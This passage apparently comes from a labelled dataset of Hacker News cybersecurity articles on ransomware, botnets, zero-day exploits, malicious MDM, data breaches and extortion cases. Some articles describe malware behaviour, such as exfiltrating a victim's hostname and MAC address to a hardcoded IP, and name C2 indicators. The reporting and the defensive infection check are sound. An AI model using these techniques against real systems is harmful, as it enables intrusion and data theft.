The feds alerted and warned NASDAQ officials, who already knew about a compromise in their systems but had neglected to bother and inform anyone about it. The U.S. National Security Agency (NSA) was called in to help investigate the hack attacks against the company that runs the NASDAQ stock market.

After a five-month investigation by the FBI, NSA, CIA and US Treasury Department, it was uncovered that the malware used two unnamed Zero-day security flaws, for which there were no patches existed. Rather, it is unclear that the hackers targeted which software, and whether the hackers used these zero-day vulnerabilities to infect NASDAQ systems or to exfiltrate data.

In fact, one of the forensic investigators described the NASDAQ servers as ""the dirty swamp,"" because very few records were available that would have revealed daily activities on the servers and helped retrace the steps of the intruders.
""The agents found little evidence of a broader attack. What they did find were systematic security failures riddling some of the most important U.S. financial institutions. It turned out that many on the list were vulnerable to the same attack that struck Nasdaq. They were spared only because the hackers hadn't bothered to try.""
Further analysis of the attacking code indicated that the malware attacked the NASDAQ systems was similar in design to the malware written by the Russian Federal Security Service for the purpose of spying and, NSA agents says, had the ability to seriously disrupt the exchange's activities.

But it is also possible that the malware which had been used belongs to another country, Bloomberg notes. China was a primary suspect, for both its intrinsic features and its ability to confuse an investigation.

Nasdaq spokesperson says that the malware did not reach the stock exchange, as originally stated in the cover story headline. ""The events of four years ago, while sensationalized by Businessweek, only confirmed what we have said historically: that none of Nasdaq's trading platforms or engines were ever compromised, and no evidence of exfiltration exists from directors' desks,"" said NASDAQ spokesman Ryan Wells.

",Malware
"Los Angeles College Pays Hackers $28,000 Ransom To Get Its Files Back",https://thehackernews.com/2017/01/ransomware-malware-attack.html,"Ransomware has turned on to a noxious game of Hackers to get paid effortlessly.

Once again the heat was felt by the Los Angeles Valley College (LAVC) when hackers managed to infect its computer network with ransomware and demanded US$28,000 payment in Bitcoins to get back online.

The cyber-attack occurred over winter break and caused widespread disruption to online, financial aid, email and voicemail systems, including locking out 1,800 students and staffs from their computers.

As the situation was gone out of its hand, the Los Angeles Community College District (LACCD) agreed to pay the ransom demand of $28,000 in Bitcoin to criminals to resume their operations after gaining the decryption keys, the school newspaper, The Valley Star, reports.

The cyber criminals gave the college a week to pay the ransom and threatened to delete all the data if they were not paid.

Also Read: RansomFree Tool Detects Never-Seen-Before Ransomware Before It Encrypts Your Data

Just like most ransomware victims the college obviously was not properly backing up the data. Therefore, the district agreed to pay up the ransom amount to quickly recover access to their systems and data.

However, according to the college officials, it was ultimately cheaper for them to pay the ransom than to remove the unknown ransomware virus from their systems to recover data and resume other services.

After paying the ransom, the college was given a ransomware decryption key to retaining access to its valuable data.
""LACCD and LAVC information technology staff, outside cybersecurity experts and law enforcement are working together to determine the specific nature and impact of this incident. Our top priority is the integrity of student, faculty and employee data, and we will continue to communicate with the LAVC community and the public as the investigation proceeds."" the College wrote in a report [PDF].
The college was lucky this time, because, in the case of ransomware, there is no guarantee that one will get the right decryption key in return. For example, recently discovered KillDisk Ransomware that targets Linux machines, demands $218,000 to decrypt, but in return, wipes out data permanently.

One of the most notorious examples of ransomware attacks took place in March last year when crooks locked down the computers and sealed all sensitive files of a Los Angeles hospital, including patient data, which eventually made the hospital to pay $17,000.

Last year, we saw an enormous rise in Ransomware threats, both in numbers and sophistication, and the only way to secure your environment is to deploy automated and isolated backup mechanism.

",Malware
Hackers Used Malicious MDM Solution to Spy On 'Highly Targeted' iPhone Users,https://thehackernews.com/2018/07/mobile-device-management-hacking.html,"Security researchers have uncovered a ""highly targeted"" mobile malware campaign that has been operating since August 2015 and found spying on 13 selected iPhones in India.

The attackers, who are also believed to be operating from India, were found abusing mobile device management (MDM) protocol—a type of security software used by large enterprises to control and enforce policies on devices being used their employees—to contol and deploy malicious applications remotely.

Exploiting Apple MDM Service to Remotely Control Devices
To enroll an iOS device into the MDM requires a user to manually install enterprise development certificate, which enterprises obtained through the Apple Developer Enterprise Program.

Companies can deliver MDM configuration file through email or a webpage for over-the-air enrollment service using Apple Configurator.

Once a user installs it, the service allows the company administrators to remotely control the device, install/remove apps, install/revoke certificates, lock the device, change password requirements, etc.

""MDM uses the Apple Push Notification Service (APNS) to deliver a wake-up message to a managed device. The device then connects to a predetermined web service to retrieve commands and return results,"" Apple explains about MDM.

Since each step of the enrollment process requires user interaction, such as installing a certificate authority on the iPhone, it is not yet clear how attackers managed to enroll 13 targeted iPhones into their MDM service.

However, researchers at Cisco's Talos threat intelligence unit, who discovered the campaign, believe that the attackers likely used either a social engineering mechanism, like a fake tech support-style call, or physical access to the targeted devices.

Spying Through Compromised Telegram and WhatsApp Apps
According to the researchers, the attackers behind the campaign used the MDM service to remotely install modified versions of legitimate apps onto target iPhones, which were designed to secretly spy on users, and steal their real-time location, contacts, photos, SMS and private messages from chat applications.

To add malicious features into secure messaging apps, such as Telegram and WhatsApp, the attacker used the ""BOptions sideloading technique,"" which allowed them to inject a dynamic library into the legitimate apps.

""The injection library can ask for additional permissions, execute code and steal information from the original application, among other things,"" researchers explain.

The malware injected into the compromised versions of the Telegram, and WhatsApp applications were designed to send contacts, location, and images from the compromised device to a remote server located at hxxp[:]//techwach[.]com

""Talos identified another legitimate app executing malicious code during this campaign in India. PrayTime is used to give the user a notification when it's time to pray,"" researchers said.

""The purpose is to download and display specific ads to the user. This app also leverages private frameworks to read the SMS messages on the device it is installed on and uploads these to the C2 server.""

At this time, it is not known who is behind the campaign, who was targeted in the campaign, and what were the motives behind the attack, but researchers find evidence suggesting the attackers were operating from India, while the attackers planted a ""false flag"" by posing as Russian.

""Over a three-year period, the attackers remained under the radar — likely due to the low number of compromised devices. We found testing devices enrolled on the MDM with an Indian phone number and registered on an Indian provider,"" Talos researchers said.

""All the technical details point to an actor based in the same country as the victims: India.""

At the time of reporting, Apple had already revoked 3 certificates linked to this campaign, and after getting informed by the Talos team, the company also canceled the rest two certificates as well.
",Malware
Microsoft Issues Emergency Patch for Critical Windows PrintNightmare Vulnerability,https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html,"Microsoft has shipped an emergency out-of-band security update to address a critical zero-day vulnerability — known as ""PrintNightmare"" — that affects the Windows Print Spooler service and can permit remote threat actors to run arbitrary code and take over vulnerable systems.
Tracked as CVE-2021-34527 (CVSS score: 8.8), the remote code execution flaw impacts all supported editions of Windows. Last week, the company warned it had detected active exploitation attempts targeting the vulnerability.
""The Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system,"" the CERT Coordination Center said of the issue.
It's worth noting that PrintNightmare includes both remote code execution and a local privilege escalation vector that can be abused in attacks to run commands with SYSTEM privileges on targeted Windows machines.
""The Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,"" CERT/CC vulnerability analyst Will Dormann said.
This effectively means that the incomplete fix could still be used by a local adversary to gain SYSTEM privileges. As workarounds, Microsoft recommends stopping and disabling the Print Spooler service or turning off inbound remote printing through Group Policy to block remote attacks.
Given the criticality of the flaw, the Windows maker has issued patches for:
Windows Server 2019
Windows Server 2012 R2
Windows Server 2008
Windows 8.1
Windows RT 8.1, and
Windows 10 (versions 21H1, 20H2, 2004, 1909, 1809, 1803, and 1507)
Microsoft has even taken the unusual step of issuing the fix for Windows 7, which officially reached the end of support as of January 2020.
The update, however, does not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016, for which the Redmond-based company stated patches will be released in the forthcoming days.

",Vulnerability
Google vs. Microsoft — Google reveals Third unpatched Zero-Day Vulnerability in Windows,https://thehackernews.com/2015/01/google-windows-vulnerability.html,"Microsoft has heavily criticized Google and its 90-days security disclosure policy after the firm publicly revealed two zero-day vulnerabilities in Microsoft's Windows 8.1 operating system one after one just days before Microsoft planned to issue a patch to kill the bugs. But, seemingly Google don't give a damn thought.

Once again, Google has publicly disclosed a new serious vulnerability in Windows 7 and Windows 8.1 before Microsoft has been able to produce a patch, leaving users of both the operating systems exposed to hackers until next month, when the company plans to deliver a fix.

DISCLOSURE OF UNPATCHED BUGS, GOOD OR BAD?
Google's tight 90-days disclosure policy seems to be a good move for all software vendors to patch their products before they get exploited by the hackers and cybercriminals. But at the same time, disclosing all critical bugs along with its technical details in the widely used operating system like Windows 7 and 8 doesn't appears to be a right decision either. In both cases, the only one to suffer is the innocent users.

The revelation of the security flaw was also a part Google's Project Zero, an initiative that identifies security holes in different software and calls on companies to publicly disclose and patch bugs within 90 days of discovering them.
Chris Betz, senior director of the Microsoft Security Response Center, wrote that Google's move ""feels less like principles and more like a 'gotcha', with customers the one who may suffer as a result."" He continues, ""What's right for Google is not always right for customers. We urge Google to make protection of customers our collective primary goal.""
This time the search engine giant has discovered a flaw in the CryptProtectMemory memory-encrypting function found within Windows 7 and 8.1 and presents in both 32- and 64-bit architectures, which can accidentally disclose sensitive information or allow a miscreant to bypass security checks, apparently.

MICROSOFT WILL DELIVER PATCH IN FEB, 2015
Google first notified Microsoft of the vulnerability in Windows 7 and 8.1 on October 17, 2014. Microsoft then confirmed the security issues on October 29 and said that its developers managed to reproduce the security hole. The patch for the vulnerability is scheduled for Feb. 10, next Patch Tuesday.

The vulnerability was found by James Forshaw, who also discovered a ""privilege elevation flaw"" in Windows 8.1, which was disclosed earlier this week and drew strong criticism from Microsoft. The newly discovered bug actually resides in the CNG.sys implementation, which failed to run proper token checks.
""The issue is the implementation in CNG.sys doesn't check the impersonation level of the token when capturing the logon session ID (using SeQueryAuthenticationIdToken) so a normal user can impersonate at Identification level and decrypt or encrypt data for that logon session,"" James Forshaw says in the post disclosing the vulnerability.
""This behaviour of course might be design; however, not having been party to the design, it's hard to tell.""
This is third time in less than a month when the Google's Project Zero released details of the vulnerability in Microsoft's operating system, following its 90-day public disclosure deadline policy. Few days ago, Google released details of a new privilege escalation bug in Microsoft's Windows 8.1 operating system just two days before Microsoft planned to patch the bug.

",Vulnerability
FBI Used Firefox Exploit to Shutdown Illegal Site Running on Tor Network,https://thehackernews.com/2013/08/Firefox-Exploit-Tor-Network-child-pornography-Freedom-Hosting.html,"TOR is the dark side of the Internet, the so-called dark web, which provides a safe haven to privacy advocates but is also where drugs, assassins for hire and other weird and illegal activities can allegedly be traded.

A claimed zero-day vulnerability in Firefox 17 was used by the FBI to identify some users of the privacy-protecting Tor anonymity network. The FBI did not compromise the TOR network itself and The complex multi-layers of encryption still stand. Instead the FBI compromised the TOR browser only using a zero-day JavaScript exploit and used this to implant a cookie which fingerprinted users through a specific external server.

Eric Eoin Marques, 28 year-old man in Ireland believed to be behind Freedom Hosting, the biggest service provider for sites on the encrypted Tor network, is awaiting extradition on p*rno charges. It is understood the FBI had spent a year trying to locate Mr Marques.

Marques was arrested on a Maryland warrant that includes charges of distributing and promoting child p*rn online. He faced four charges relating to alleged child p*rno offenses with a total of 30 years jail, reportedly dubbed by the FBI as ""the largest facilitator of child p*rn on the planet."" That need has been particularly heightened with the many revelations of the US Prism program and other cyber spying initiatives.

Mr Marques told the court he was born in the US but has lived in Ireland since he was five. He said he was last in Romania a few weeks ago when he withdrew €6,000 from his credit card to help a friend start a business.

The Tor Network is a robust tool for journalists, whistleblowers, dissidents and others looking to publish information in a way that is not easily traced back to them. His arrest coincides with mass outages across the Darknet affecting popular services like Tor Mail, HackBB and the Hidden Wiki which were run on Freedom Hosting. Worse, there are reports of many well known TOR hidden services may be compromised using a browser exploit.

""The current news indicates that someone has exploited the software behind Freedom Hosting. From what is known so far, the breach was used to configure the server in a way that it injects some sort of javascript exploit in the web pages delivered to users. This exploit is used to load a malware payload to infect users' computers. The malware payload could be trying to exploit potential bugs in Firefox 17 ESR, on which our Tor Browser is based. We're investigating these bugs and will fix them if we can."" Andrew Lewman, Tor Project's Executive Director said in a blog post.

Mozilla says it has been notified of a potential security vulnerability in Firefox 17 (MFSA 2013-53) , which is currently the extended support release (ESR) version of Firefox. The Exploit code posted by Mozilla and Deobfuscated JS used by the Tor Browser exploit posted on Google Code.

The malicious Javascript is a tiny Windows executable hidden in a variable named ""Magneto"", but the Magneto code doesn't download anything. It looks up the victim's MAC address and the victim's Windows hostname. Then it sends it to the Virginia server, outside of Tor, to expose the user's real IP address, and coded as a standard HTTP web request.

The FBI appears to have gained access to Freedom Hosting and injected malicious HTML code that checks the visitor's browser to see if he is using Firefox 17. Some visitors looking at the source code of the maintenance page realized that it included a hidden iframe tag that loaded a mysterious clump of Javascript code from a Verizon Business internet address located in eastern Virginia.

The Openwatch reported that, The execution of malicious JavaScript inside the Tor Browser Bundle, perhaps the most commonly used Tor client, comes as a surprise to many users. Previously, the browser disabled JavaScript execution by default for security purposes, however this change was recently reverted by developers in order to make the product more useful for average internet users. As a result, however, the applications have become vastly more vulnerable to attacks such as this.

The JavaScript code's payload analyzed by reverse engineering and exploit developer Vlad Tsyrklevich, who reveals that it briefly connects to a server and sends the hostname and MAC address of the victim. ""Briefly, this payload connects to 65.222.202.54:80 and sends it an HTTP request that includes the host name (via gethostname()) and the MAC address of the local host (via calling SendARP on gethostbyname()->h_addr_list). After that it cleans up the state and appears to deliberately crash.""

Microsoft used to provide the US government with a an early start on its security vulnerabilities, which was reportedly used to aid its cyber espionage programs. But here no idea at this point, that Mozilla worked with the government in this case.

Of course, this shows how complacency can be a very bad thing, especially when it comes to security. In its attempts to bring down child images, but it could also mean a serious security breach for international activists and internet users living in repressive states who use the services to practice online free speech.

Be sure you're running a recent enough Tor Browser Bundle. That should keep you safe from this attack. Windows users are advised to Update Tor Browser Bundle, version 2.3.25-10 (released June 26 2013), 2.4.15-alpha-1 (released June 26 2013), 2.4.15-beta-1 (released July 8 2013), 3.0alpha2 (released June 30 2013) includes the fix. Consider disabling JavaScript (click the blue""S"" beside the green onion, and select ""Forbid Scripts Globally""). Disabling JavaScript will reduce your vulnerability to other attacks like this one, but disabling JavaScript will make some websites not work like you expect.

Update: According to Baneki Privacy Labs research, the IP address 65.222.202.53 hardcoded into the exploit belongs to Virginia is actually owned by Science Applications International Corporation (SAIC), a major intelligence, military, aerospace, engineering and systems contractor involved with the Federal Bureau of Investigation (FBI), Defense Advanced Research Projects Agency (DARPA) , Central Intelligence Agency (CIA) and National Security Agency (NSA).

They believe that the hardcoded IP address is directly allocated to the NSA's Autonomous Systems (AS), so its probably not the FBI, its NSA who used Firefox Zero-Day exploit to compromise Freedom Hosting and TOR network.

",Vulnerability
First Time Ever Apple Automatically Pushes Security Patch for Mac OS,https://thehackernews.com/2014/12/Apple-Mac-Security-Patch.html,"First time ever in the History, Apple Inc. has pushed out an automatic security update for Macintosh OS X computers to address a critical security issue that, according to the company, was too risky to wait for users to patch after seeking their prior approval.

Despite having the ability for years to silently and automatically update its users computers, Apple typically asks its users' permission to approve them manually or automatically before installing any security update of this kind. But, the company has exercised its ability for the very first time to patch a critical security flaw in a component of its OS X operating system called the Network Time Protocol (NTP).

This newly discovered security vulnerability, assigned CVE-2014-9295, became public late last week and affects all operating systems, including OS X and other Linux and Unix distributions, running versions of NTP4 prior to 4.2.8. NTP is used for synchronizing clocks between computer systems and across the global internet.

TURNING YOUR MAC INTO DDOS ZOMBIES
Once exploited, the NTP vulnerability can allow an attacker to remotely execute an arbitrary code on a system using the privileges of the ntpd process. The security hole in NTP would give hackers ability to turn users' Macs into DDoS zombies. However, no security firms have reported any cases of hackers exploiting this vulnerability.

NTP is a global way of synchronising time over a network, and because of its link to networks it has previously been exploited by hackers a number of times. At the beginning of the year, NTP was used to launch 300Gbps DDoS attack against Internet blacklist maintainer Spamhaus. Also in February 2014, the record breaking 400Gbps DDoS attack was launched against content-delivery and anti-DDoS protection firm CloudFlare by leveraging weaknesses in NTP.

The Carnegie Mellon University Software Engineering Institute identified the critical flaw which was made public on Friday by the Department of Homeland Security. The vulnerability affects dozens of technology companies' products including Apple's.
""As NTP is widely used within operational Industrial Control Systems deployments, NCCIC/ICS-CERT is providing this information for US Critical Infrastructure asset owners and operators for awareness and to identify mitigations for affected devices,"" ICS-CERT wrote in an advisory published Tuesday. ""Products using NTP service prior to NTP–4.2.8 are affected. No specific vendor is specified because this is an open source protocol.""
UPDATE YOUR SYSTEMS NOW
The company recommends that all users apply this patch ""as soon as possible."" The update is available for OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5, OS X Yosemite v10.10.1 and is available for download via the ""updates"" section of the Mac App Store. The update doesn't require a restart.

",Vulnerability
6 Charged for Hacking Lottery Terminals to Produce More Winning Tickets,https://thehackernews.com/2016/03/hacking-lottery-terminal.html,"Police have arrested and charged six people with crimes linked to hacking Connecticut state lottery terminals in order to produce more winning tickets than usual.

Prosecutors say all the six suspects are either owners or employees of retail stores that produced a much higher number of winning tickets than the state average, according to the Hartford Courant.

Suspects Hacked Lottery Terminal

The alleged group set up machines to process a flood of tickets at once that caused a temporary display freeze, allowing operators to see which of the tickets about to be dispensed would be winning tickets, cancel the duff ones, and print the good ones.

The hack appears to have exploited some software weaknesses in lottery terminals that not only caused ticket requests to be delayed but also allowed operators to know ahead of time whether a given request would produce a winning ticket.

The actual culprit, in this case, was a game dubbed ""5 Card Cash.""

The alleged suspects manipulated automated ticket dispensers to run off 5 Card Cash game that consists of tickets a user can buy, on which playing cards are printed.

If 5 cards form a winning poker hand, then the buyer can cash the tickets based on the hand they received.

Authorities Suspended 5 Card Cash Lottery Game

Authorities had already suspended the 5 Card Cash lottery game in Connecticut past November after discovering that the game was generating more winning tickets than its winning range parameters should have technically permitted.

The six suspects are:
Vikas Patel, 32, from Windsor
Pranav Patel, 32, from Bloomfield
Sedat Kurutan from Naugatuck
Moinuddin Saiyed from Norwalk
Prakuni Patel from Wallingford
Rahul Gandhi from Wallingford
Pranav Patel and Vikas Patel were arrested on Friday, March 19 while the rests took into custody between February 29 and March 7.

The charges filed against Vikas and Pranav include first-degree felony counts of larceny and computer crime as well as felony rigging a game charges. Both of them have been bailed on $25,000 bonds each and are scheduled to appear in court on Monday.

Investigators for the Department of Consumer Protection and the Connecticut Lottery say that many clerks were abusing lottery tickets to fetch out more winning tickets that they would later cash in for themselves, and that more arrests may be made in the future.

",Vulnerability
"Operation Windigo: Linux malware campaign that infected 500,000 Computers Worldwide",https://thehackernews.com/2014/03/operation-windigo-linux-malware.html,"In late 2013, Security Researchers identified thousands of Linux systems around the world infected with the OpenSSH backdoor trojan and credential stealer named Linux/Ebury, that allows unauthorized access of an affected computer to the remote attackers.

Antivirus Firm ESET's Reseacher team has been tracking and investigating the operation behind Linux/Ebury and today team uncovers the details [Report PDF] of a massive, sophisticated and organized malware campaign called 'Operation Windigo', infected more than 500,000 computers and 25,000 dedicated servers.

'We discovered an infrastructure used for malicious activities that is all hosted on compromised servers. We were also able to find a link between different malware components such as Linux/Cdorked, Perl/Calfbot and Win32/Glupteba.M and realized they are all operated by the same group.' ESET reported.

Malware used in Operation Windigo:
Linux/Ebury – an OpenSSH backdoor used to keep control of the servers and steal credentials.
Linux/Cdorked – an HTTP backdoor used to redirect web traffic. We also detail the infrastructure deployed to redirect traffic, including a modified DNS server used to resolve arbitrary IP addresses labeled as Linux/Onimiki.
Perl/Calfbot – a Perl script used to send spam.
The Group behind the attacks may have been active since December 2012, using a modified version of OpenSSH, an open source alternative to proprietary Secure Shell Software (SSH) to infect thousands of servers and desktop computers, apparently, stole user credentials on system and SSH private keys for outgoing SSH connections.
""According to our analysis, over 25,000 servers have been affected over the last two years. More than 10,000 of them are still infected today."" ESET reported, ""using the Linux/Ebury OpenSSH backdoor""
Hackers have accessed a wider range of compromised machines, used them to redirect half of a million web visitors to malicious websites and abusing the server bandwidth to send more than 35,000,000 spam messages per day. If victim will use a Smartphone to surf the malicious link from Spam mails, they will be redirected to Porn sites, with the intention of making money.


High-profile Targets: Report listed some affected high profile servers and companies, including cPanel (famous web hosting control panel) and Linux Foundation's kernel.org (main repository of source code for the Linux kernel).

ESET Researchers collaborated with CERT-Bund, the European Organization for Nuclear Research (CERN), the Swedish National Infrastructure for Computing and other agencies to fight against this malware campaign.

Affected Operating systems include Linux, FreeBSD, OpenBSD, OS X, and even Windows (with Perl running under Cygwin) and affected countries are US, Germany, France, Italy, Great Britain, Netherlands, Russian Federation, Ukraine, Mexico and Canada.

How to Check, if you have been compromised? If you use only 'ssh -G' command, a clean server will print: 'ssh: illegal option -- G', but an infected server will only print the usage.

Administrators can use the following UNIX/Linux command to check:
$ ssh -G 2>&1 | grep -e illegal -e unknown > /dev/null && echo ""System clean"" || echo ""System infected""
If your system or server was also compromised in the same campaign, it's recommended to re-install the system or re-set all passwords and private OpenSSH keys.

",Malware
Mount Locker Ransomware Offering Double Extortion Scheme to Other Hackers,https://thehackernews.com/2020/12/mount-locker-ransomware-offering-double.html,"A relatively new ransomware strain behind a series of breaches on corporate networks has developed new capabilities that allow it to broaden the scope of its targeting and evade security software—as well as with ability for its affiliates to launch double extortion attacks.
The MountLocker ransomware, which only began making the rounds in July 2020, has already gained notoriety for stealing files before encryption and demanding ransom amounts in the millions to prevent public disclosure of stolen data, a tactic known as double extortion.
""The MountLocker Operators are clearly just warming up. After a slow start in July they are rapidly gaining ground, as the high-profile nature of extortion and data leaks drive ransom demands ever higher,"" researchers from BlackBerry Research and Intelligence Team said.
""MountLocker affiliates are typically fast operators, rapidly exfiltrating sensitive documents and encrypting them across key targets in a matter of hours.""
MountLocker also joins the likes of other ransomware families like Maze (which shut down its operations last month) that operate a website on the dark web to name and shame victims and supply links to leaked data.
To date, the ransomware has claimed five victims, although the researchers suspect the number could be ""far greater.""
Offered as Ransomware-as-a-Service (RaaS), MountLocker was notably deployed earlier this August against Swedish security firm Gunnebo.
Although the company said it had successfully thwarted the ransomware attack, the criminals who orchestrated the intrusion ended up stealing and publishing online 18 gigabytes of sensitive documents, including schematics of client bank vaults and surveillance systems, in October.
Now according to BlackBerry's analysis, threat actors behind MountLocker-related affiliate campaigns leveraged remote desktop (RDP) with compromised credentials to gain an initial foothold on a victim's environment — something that was observed in Gunnebo's hack as well — and subsequently install tools to carry out network reconnaissance (AdFind), deploy the ransomware and laterally spread across the network, and exfiltrate critical data via FTP.
The ransomware in itself is lightweight and efficient. Upon execution, it proceeds to terminate security software, trigger encryption using ChaCha20 cipher, and create a ransom note, which contains a link to a Tor .onion URL to contact the criminals via a ""dark web"" chat service to negotiate a price for decrypting software.
It also uses an embedded RSA-2048 public key to encrypt the encryption key, deletes volume shadow copies to thwart restoration of the encrypted files, and eventually removes itself from the disk to hide its tracks.
The researchers, however, point out that the ransomware uses a cryptographically insecure method called GetTickCount API for key generation that may be susceptible to a brute-force attack.
MountLocker's list of encryption targets is extensive, with support for over 2600 file extensions spanning databases, documents, archives, images, accounting software, security software, source code, games, and backups. Executable files such as .exe, .dll, and .sys are left untouched.
That's not all. A new variant of MountLocker spotted in late November (dubbed ""version 2"") goes a step further by dropping the list of extensions to be included for encryption in favor of a lean exclusion list: .exe, .dll, .sys, .msi, .mui, .inf, .cat, .bat, .cmd, .ps1, .vbs, .ttf, .fon, and .lnk.
""Since its inception, the MountLocker group has been seen to both expand and improve their services and malware,"" the researchers concluded. ""While their current capabilities are not particularly advanced, we expect this group to continue developing and growing in prominence over the short term.""

",Malware
Two Hackers Who Extorted Money From Uber and LinkedIn Plead Guilty,https://thehackernews.com/2019/10/hackers-extorted-money.html,"Two grey hat hackers have pleaded guilty to blackmailing Uber, LinkedIn, and other U.S. corporations for money in exchange for promises to delete data of millions of customers they had stolen in late 2016.

In a San Jose courthouse in California on Wednesday, Brandon Charles Glover (26) of Florida and Vasile Mereacre (23) of Toronto admitted they accessed and downloaded confidential corporate databases on Amazon Web Services using stolen credentials.

After downloading the data, the duo contacted affected companies to report security vulnerabilities and demanded money in exchange for the deletion of the data, according to a press release published by the US Justice Department.

""I was able to access backups upon backups, me and my team would like a huge reward for this,"" the hackers said to the victim company in an email.

""Please keep in mind, we expect a big payment as this was hard work for us, we already helped a big corp which paid close to 7 digits, all went well.""



As The Hacker News reported two years ago, the hackers managed to inappropriately accessed and downloaded sensitive information of 57 million Uber riders and drivers, for which Uber reportedly paid the duo $100,000 in bitcoin in an attempt to cover up the breach.


""The defendants used false names to communicate with the victim-corporations, and, on several occasions, informed the victim-corporations that they had been paid by other victim-corporations for identifying security vulnerabilities,"" the indictment reads.

""They also sent the victim-corporations a sample of the data in order for the victim-corporations to verify the authenticity of data.""

The indictment also revealed that the duo blackmailed LinkedIn in the same way in December 2016, informing the company that they had compromised databases of LinkedIn's subsidiary Lynda.com and stole over 90,000 user records, including their credit card information.

At that time, it was also reported that Uber sent its forensic team to the hackers' house in Florida and Canada to analyze their computers to make sure all the stolen data had been wiped and had the hackers also sign a non-disclosure agreement to prevent further wrongdoings.

Uber waited a year to reveal the October 2016 data breach, for which it was later ordered by the attorneys general of all 50 states and the District of Columbia to pay $148 million across all 50 states and Washington DC to settle the investigation.

British and Dutch data protection regulators also hit the ride-sharing company with a total fine of approximately $ 1.1 million for failing to protect its customers' personal information during a 2016 cyber attack.

At the time, it was also reported that Uber hid the data breach incident from the U.S. Federal Trade Commission (FTC), which was investigating another hacking incident against the company, and only told the commission about the 2016 breach in late 2017 when the incident was made public.

Glover and Mereacre each pleaded guilty to one charge of conspiracy to commit extortion and are set to face a maximum of five years in prison and a fine of $250,000 when they are sentenced.

The duo has been released on bond and will be sentenced in March 2020.
",Data_Breaches
Someone is Using Mirai Botnet to Shut Down Internet for an Entire Country,https://thehackernews.com/2016/11/ddos-attack-mirai-botnet.html,"Note — We have published an updated article on what really happened behind the alleged DDoS attack against Liberia using Mirai botnet.

Someone is trying to take down the whole Internet of a country, and partially succeeded, by launching massive distributed denial-of-service (DDoS) attacks using a botnet of insecure IoT devices infected by the Mirai malware.

It all started early October when a cyber criminal publicly released the source code of Mirai – a piece of nasty IoT malware designed to scan for insecure IoT devices and enslaves them into a botnet network, which is then used to launch DDoS attacks.

Just two weeks ago, the Mirai IoT Botnet caused vast internet outage by launching massive DDoS attacks against DNS provider Dyn, and later it turns out that just 100,000 infected-IoT devices participated in the attacks.

Experts believe that the future DDoS attack could reach 10 Tbps, which is enough to take down the whole Internet in any nation state.

One such incident is happening from past one week where hackers are trying to take down the entire Internet of Liberia, a small African country, using another Mirai IoT botnet known as Botnet 14.
Security researcher Kevin Beaumont has noticed that Botnet 14 has begun launching DDoS attacks against the networks of ""Lonestar Cell MTN "", the telecommunication company which provides the Internet to 10-15% of Liberia via a single entry point from undersea fiber cable.
""From monitoring, we can see websites hosted in country going offline during the attacks — Additionally, a source in country at a Telco has confirmed to a journalist they are seeing intermittent internet connectivity, at times which directly match the attack,"" Beaumont said in a blog post published today.
According to Beaumont, transit providers confirm that the attacks were over 500 Gbps in size, but last for a short period. This volume of traffic indicates that the ""Shadows Kill"" Botnet, as the researcher called it, is ""owned by the actor which attacked Dyn.""

Why Taking Down Liberia's Internet Is easy?
Over a decade of civil war in Liberia destroyed the country's telecommunications infrastructure, and at that time a very small portion of citizens in Liberia had access to the internet via satellite communication.

However, some progress were made later in 2011 when a 17,000 km Africa Coast to Europe (ACE) submarine fiber-optic cable was deployed from France to Cape Town, via the west coast of Africa.

The ACE fiber cable, at depths close to 6,000 meters below sea level, eventually provides broadband connectivity to more 23 countries in Europe and Africa.

What's shocking? The total capacity of this cable is just 5.12 Tbps, which is shared between all of the 23 countries.

Since massive DDoS attack against DynDNS used a Mirai botnet of just 100,000 hacked IoT devices to close down the Internet for millions of users, one can imagine the capability of more than 1 Million hacked IoT devices, which is currently in control of the Mirai malware and enough to severely impact systems in any nation state.

This is extremely worrying because, with this capacity, not just Liberia, an attacker could disrupt the Internet services in all 23 countries in Europe and Africa, which relies on the ACE fiber cable for their internet connectivity.

The root cause? More insecure, vulnerable IoT devices, more Mirai bots.

So, in order to protect yourself, you need to be more vigilant about the security of your smart devices because they are dumber than one can ever be.

In our previous article, we provided some basic, rather effective, solutions, which would help you protect your smart devices from becoming part of the Mirai botnet. You can also check also yourself if your IoT device is vulnerable to Mirai malware. Head on to this article.

",Malware
Another Facebook Quiz App Left 120 Million Users' Data Exposed,https://thehackernews.com/2018/06/facebook-users-data-leak.html,"People are still getting over the most controversial data scandal of the year, i.e., Cambridge Analytica scandal, and Facebook is under fire yet again after it emerges that a popular quiz app on the social media platform exposed the private data of up to 120 million users for years.

Facebook was in controversies earlier this year over a quiz app that sold data of 87 million users to a political consultancy firm, who reportedly helped Donald Trump win the US presidency in 2016.

Now, a different third-party quiz app, called NameTests, found exposing data of up to 120 million Facebook users to anyone who happened to find it, an ethical hacker revealed.

NameTests[.]com, the website behind popular social quizzes, like ""Which Disney Princess Are You?"" that has around 120 million monthly users, uses Facebook's app platform to offer a fast way to sign up.

Just like any other Facebook app, signing up on the NameTests website using their app allows the company to fetch necessary information about your profile from the Facebook, with consent naturally.

However, Inti De Ceukelaire, a bug bounty hunter and hacker, found that the popular quiz website is leaking logged-in user's detail to the other websites opened in the same browser, allowing any malicious website to obtain that data easily.

In a Medium post published yesterday, Ceukelaire said he liked to participate in the Data Abuse Bounty Program that Facebook recently launched in the wake of Cambridge Analytica scandal. So, he started looking at the apps his friends on Facebook had installed.
Ceukelaire then decided to take his first quiz through the NameTests app, and as he started taking a closer look on the test process, he noticed that the website was fetching his personal information from ""https://nametests[.]com/appconfig_user"" and display it on its website.

Ceukelaire was shocked when he saw his personal data in a JavaScript file that could easily be accessed by virtually any website when they would request it.

What Was the Flaw? How It Leaked Users' Data?
This issue was due to a simple yet severe flaw in NameTests website that appears to have existed since the end of 2016.

Storing user data in JavaScript file caused the website to leak data to other websites, which is otherwise not possible due to browser's Cross-Origin Resource Sharing (CORS) policy that prevents a website from reading the content of other websites without their explicit permission.

As a proof of concept, Ceukelaire developed a malicious website that would connect to NameTests to mine the data of visitors using the app. Using a simple bit of code, he was able to harvest the names, photos, posts, pictures, and friends lists of anyone taking part in the quiz.

